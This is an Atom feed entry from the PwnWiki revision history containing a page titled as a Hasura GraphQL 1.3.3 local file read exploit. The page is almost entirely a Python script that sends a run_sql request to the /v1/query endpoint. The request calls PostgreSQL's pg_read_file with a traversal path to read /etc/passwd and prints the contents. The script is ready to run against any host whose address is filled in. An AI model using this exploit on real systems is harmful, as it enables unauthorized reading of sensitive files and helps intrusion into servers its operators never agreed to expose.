https://pwnwiki.com/index.php?action=history&feed=atom&title=Hasura_GraphQL_1.3.3_%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E 2026-04-07T08:13:02Z Revision history for this page on the wiki MediaWiki 1.35.1 https://pwnwiki.com/index.php?title=Hasura_GraphQL_1.3.3_%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E&diff=1857&oldid=prev 2021-04-22T02:05:04Z

<p>Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Hasura GraphQL 1.3.3 - Local File Read # Software: Hasura GraphQL # Software Link: https://github.com/hasura/graphql-engine # Version: 1.3.3 # E...&quot;</p> <p><b>New page</b></p><div>==EXP==<br /> &lt;pre&gt;<br /> # Exploit Title: Hasura GraphQL 1.3.3 - Local File Read<br /> # Software: Hasura GraphQL<br /> # Software Link: https://github.com/hasura/graphql-engine<br /> # Version: 1.3.3<br /> # Exploit Author: Dolev Farhi<br /> # Date: 4/19./2021<br /> # Tested on: Ubuntu<br /> <br /> import requests<br /> import sys<br /> <br /> HASURA_SCHEME = 'http'<br /> HASURA_HOST = '192.168.1.1'<br /> HASURA_PORT = 80<br /> READ_FILE = '/etc/passwd'<br /> <br /> def LFI(file):<br /> SQLI = &quot;SELECT pg_read_file('../../../../../../../../../{}',0,1000);&quot;.format(file)<br /> data = {&quot;type&quot;:&quot;bulk&quot;,&quot;args&quot;:[{&quot;type&quot;:&quot;run_sql&quot;,&quot;args&quot;:{&quot;sql&quot;:SQLI,&quot;cascade&quot;:False,&quot;read_only&quot;:False}}]}<br /> endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)<br /> r = requests.post(endpoint, json=data)<br /> return r.json()<br /> <br /> res = LFI(READ_FILE)<br /> <br /> try:<br /> print(res[0]['result'][1][0])<br /> except:<br /> print(res)<br /> <br /> &lt;/pre&gt;</div>

Pwnwiki